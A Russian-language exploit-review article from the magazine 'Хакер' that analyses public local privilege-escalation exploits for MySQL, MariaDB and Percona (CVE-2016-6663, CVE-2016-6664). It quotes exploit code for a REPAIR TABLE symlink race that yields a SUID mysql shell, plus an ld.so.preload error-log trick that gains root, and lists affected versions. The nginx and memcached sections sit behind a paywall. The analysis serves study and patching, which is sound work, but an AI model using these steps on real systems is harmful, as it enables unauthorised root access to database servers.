В этом выпуске обзора мы рассмотрим три эксплоита. Один использует уязвимость в MySQL и некоторых других БД, которая приводит к выполнению произвольного кода с правами root. Второй создан тем же автором и эксплуатирует особенности ротации логов nginx с похожим результатом. Третий приводит memcached к отказу в обслуживании и опять же удаленному выполнению кода.
 

Локальное повышение привилегий и выполнение кода с правами root в MySQL, MariaDB и Percona

Дата релиза: 1 ноября 2016 года
Автор: Давид Голунский (Dawid Golunski)
CVE: CVE-2016-6663, CVE-2016-6664

BRIEF

Давид Голунский продолжает выкладывать результаты своих исследований MySQL-подобных баз данных. Не так давно он опубликовал рисерч уязвимости CVE-2016-6662, которая позволяет поднимать привилегии до root с помощью создания конфигов my.cnf. Мы рассмотрим очередную порцию уязвимостей из этой серии.

На этот раз проблема повышения привилегий закралась в механизм работы с временными файлами таблиц. При выполнении запроса REPAIR TABLE можно выиграть «состояние гонки» (race condition) и сделать доступным для чтения и записи нужный нам файл или директорию.

EXPLOIT

Чтобы поближе рассмотреть причину уязвимости, нам понадобятся: MySQL версии не выше 5.5.51 (5.6.32, 5.7.14), пользователь БД с низкими привилегиями (CREATE/INSERT/SELECT), strace, немного терпения и пластиковая бутылка. Мой тестовый стенд — это Debian 8.5 и MySQL 5.5.49.

Путешествие начинается с того, что я создаю директорию с правами 777 для будущей таблицы. Да-да, при создании таблицы можно указать путь, где будут расположены относящиеся к ней файлы.

mkdir /tmp/exptable
chmod 777 /tmp/exptable
ls -ld /tmp/exptable

Теперь создаем саму таблицу.

CREATE TABLE exptbl (pes varchar(50)) engine = 'MyISAM' data directory '/tmp/exptable';

Смотрим, что вышло, набрав ls -lua /tmp/exptable. Ты увидишь, что сервер MySQL создал файл для таблицы с правами 660, а владельцем будет пользователь mysql.

Теперь нам нужно отправить запрос REPAIR TABLE. Его могут выполнять пользователи с привилегиями (CREATE/INSERT/SELECT).

REPAIR TABLE 'exptbl';

В соседнем терминале я запущу strace для того, чтобы посмотреть, какие операции с файлами осуществляются в процессе выполнения запросов.

[pid  7783] lstat64("/tmp/exptable/exptbl.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid  7783] open("/tmp/exptable/exptbl.MYD", O_RDWR|O_LARGEFILE) = 33
...
[pid  7833] open("/tmp/exptable/exptbl.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC|O_LARGEFILE, 0660) = 192
[pid  7783] close(192)                  = 0
[pid  7833] chmod("/tmp/exptable/exptbl.TMD", 0660) = 0
[pid  7833] chown32("/tmp/exptable/exptbl.TMD", 119, 125) = 0
[pid  7833] unlink("/tmp/exptable/exptbl.MYD") = 0
[pid  7833] rename("/tmp/exptable/exptbl.TMD", "/tmp/exptable/exptbl.MYD") = 0

Сначала проверяются права файла exptbl.MYD, затем chmod() ставит такие же на временный файл exptbl.TMD.

Далее chown() меняет владельца файла на mysql. После этого файл с «поврежденной» таблицей удаляется, a файл exptbl.TMD с восстановленной таблицей занимает его место.

Между вызовами lstat64("/tmp/exptable/exptbl.MYD"...) и chmod("/tmp/exptable/exptbl.TMD", 0660) = 0 возникает состояние гонки.

Операции с файлами при выполнении REPAIR TABLE
Операции с файлами при выполнении REPAIR TABLE

Если успеть заменить временный exptbl.TMD до вызова chmod() симлинком, то это даст возможность установить любые права на файлы или директории, владельцем которых является пользователь mysql. Например, можно сделать доступной для чтения и записи директорию /var/lib/mysql, там по умолчанию хранятся файлы всех таблиц. Управлять устанавливаемыми правами можно через exptbl.MYD, перед вызовом REPAIR TABLE.

Это все, конечно, интересно, но можно провернуть более хитрый трюк и получить шелл, запущенный с правами пользователя mysql. Дальнейшие действия логичнее будет рассматривать в контексте эксплоита самого Давида.

Общий сценарий таков:

  • ставим права 04777 на файл с таблицей;
  • делаем REPAIR TABLE;
  • выигрываем гонку и заменяем временную таблицу файлом /bin/bash;
  • chmod() копирует права на запуск и бит SUID. Таким образом, шелл будет запускаться от пользователя mysql.

Сначала подготавливаем папку для будущей таблицы.

40678.c:

53:      #define EXP_DIRN          "mysql_privesc_exploit"
...
151:     system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
152:     system("chmod g+s /tmp/" EXP_DIRN );

Бит g+s означает, что все новые файлы и папки будут иметь группу родительской директории. Это нужно для того, чтобы обойти проблему с невозможностью перезаписи содержимого временного файла. Посмотри на права, с которыми он создается:

-rw-rw----  1 mysql mysql      0 Dec  9 17:58 exptbl.TMD

Его владелец и группа — mysql, поэтому не получится заменить его содержимое файлом /bin/bash. А вот так выглядят права после установки нужного бита на директорию:

-rw-rw----  1 mysql dog       0 Dec  9 17:59 exptbl.MYD

Теперь файл принадлежит нашей группе и на его место можно копировать шелл.

40678.c:

57:  #define SUID_SHELL        EXP_PATH "/mysql_suid_shell.MYD"
...
164: system("cp /bin/bash " SUID_SHELL);

Автор использует функции ядра inotify для того, чтобы отслеживать изменения файловой системы (IN_CREATE и IN_CLOSE) в директории /tmp/mysql_privesc_exploit. Это поможет вовремя перехватить событие и начать атаку race condition.

40678.c:

52:  #define EXP_PATH          "/tmp/mysql_privesc_exploit"
...
168: fd = inotify_init();
169: if (fd < 0) {
170:   printf("failed to inotify_initn");
171:   return -1;
172: }
173: ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);

Далее форкается отдельный процесс для асинхронного выполнения запросов REPAIR TABLE. Без этого никакой гонки не выиграть.

40678.c:

199: pid = fork();
200: if (pid < 0) {
201:   fprintf(stderr, "Fork failed :(n");
202: }
...
205: if (pid == 0) {
206:   usleep(500);
207:   unlink(MYSQL_TEMP_FILE);
208:   mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
209:   // child stops here
210:   exit(0);
211: }

Тем временем в родительском процессе обрабатываются события от inotify, и если попадается нужное, то на файл с таблицей устанавливаются нужные права (+s +x).

40678.c:

54:  #define MYSQL_TAB_FILE    EXP_PATH "/exploit_table.MYD"
...
230: unlink(MYSQL_TAB_FILE);
231: myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
232: close(myd_handle);
233: chmod(MYSQL_TAB_FILE, 04777);

Я считаю этот шаг избыточным, достаточно в самом начале выставить нужные права на файл, и MySQL не сможет выполнить запрос REPAIR TABLE, так как владельцем файла будет наш юзер.

Дальше по коду идет процедура награждения самых быстрых гонщиков — пытаемся заменить временный файл с таблицей на симлинк до нашего шелла.

40678.c:

55:  #define MYSQL_TEMP_FILE   EXP_PATH "/exploit_table.TMD"
...
236: unlink(MYSQL_TEMP_FILE);
237: symlink(SUID_SHELL, MYSQL_TEMP_FILE);

Затем проверяем успешность эксплуатации:

40678.c:

253: if ( lstat(SUID_SHELL, &st) == 0 ) {
254:   if (st.st_mode & S_ISUID) {
255:     is_shell_suid = 1;
256:   }
257: }

Если не вышло, то запускаем весь алгоритм еще раз и так далее, пока не добьемся успеха.

40678.c:

180:  while ( is_shell_suid != 1 ) {

Когда права на шелл будут успешно установлены, эксплоит запустит его и мы попадем в консоль с правами пользователя mysql.

Успешная эксплуатация. Теперь я mysql
Успешная эксплуатация. Теперь я mysql

Если карабкаться дальше по пищевой цепочке, то можно продвинуться и до суперпользователя. Код эксплоита Голунского недвусмысленно нам на это намекает! Воспользуемся советом и рассмотрим повышение привилегий с помощью уязвимости CVE-2016-6664.

Чтобы управлять демоном mysqld, здесь используется скрипт-обертка mysqld_safe. В нем есть один интересный участок кода, который связан с лог-файлами.

mysql_safe:

793:   if [ $want_syslog -eq 0 -a ! -f "$err_log" ]; then
794:     touch "$err_log"                    # Hypothetical: log was renamed but not
795:     chown $user "$err_log"              # Flushed yet. We’d recreate it with
796:     chmod "$fmode" "$err_log"           # Wrong owner next time we log, so set
797:   fi                                    # It up correctly while we can!

Если включено логирование в файл (а оно включено по умолчанию), то при каждом старте mysqld будет пересоздаваться файл error.log (строка 794). Скрипт запускается от рута, а директория с логами доступна для записи юзеру mysql, так что мы можем создать файл в любом месте, используя уже знакомую тактику с симлинками.

mysql@debian:/$ ps -aux|grep mysql
root       730  0.0  0.0   2272  1264 ?        S    Dec10   0:00 /bin/sh /usr/bin/mysqld_safe
mysql     1161  0.0  1.1 628744 23792 ?        Sl   Dec10   1:08 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306

Затем враппер любезно меняет владельца файла на mysql, и файл становится доступным для редактирования нашему пользователю (строки 795 и 796). Это означает, что можно применить технику для поднятия привилегий при помощи /etc/ld.so.preload. Подробнее о ней читай дальше — в обзоре уязвимости nginx.

40679.sh:

050: PRIVESCLIB="/tmp/privesclib.so"
051: PRIVESCSRC="/tmp/privesclib.c"
...
127: /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
...
144: # Symlink the log file to /etc
145: rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG

Теперь остается перезагрузить сервис MySQL. Нет ничего проще! Помимо логов, враппер следит за процессом mysqld, и если тот падает, то перезагружает его. Так как сам процесс стартует от пользователя mysql, мы можем свободно его убить командой kill.

40679.sh:

154: read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWER
155: if [ "$THE_ANSWER" = "y" ]; then
156:    echo -e "Got it. Executing 'killall mysqld' now..."
157:    killall mysqld #
158: fi

После всех манипуляций имеем суидную копию баша в /tmp/mysqlrootsh. Запускаем ее и мы рут.

Успешная эксплуатация номер два. Теперь root!
Успешная эксплуатация номер два. Теперь root!

На этом с MySQL закончим. Если хочешь еще ближе посмотреть на причины багов, то советую проанализировать их фиксы.

TARGETS

MySQL <= 5.5.51, <= 5.6.32, <= 5.7.14
MariaDB < 5.5.52, < 10.1.18, < 10.0.28
Percona Server < 5.5.51-38.2, < 5.6.32-78-1, < 5.7.14-8
Percona XtraDB Cluster < 5.6.32-25.17, < 5.7.14-26.17, < 5.5.41-37.0

SOLUTION

В настоящее время выпущены свежие версии приложений, в которых уязвимость исправлена.

Продолжение статьи доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все статьи на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи одну статью

Заинтересовала статья, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для статей, опубликованных более двух месяцев назад.


1 комментарий

Подпишитесь на ][, чтобы участвовать в обсуждении

Обсуждение этой статьи доступно только нашим подписчикам. Вы можете войти в свой аккаунт или зарегистрироваться и оплатить подписку, чтобы свободно участвовать в обсуждении.

Check Also

Твой тайный туннель. Детальный гайд по настройке OpenVPN и stunnel для создания защищенного канала

У тебя могут быть самые разные мотивы, чтобы пользоваться VPN: недоверенные сети, разного …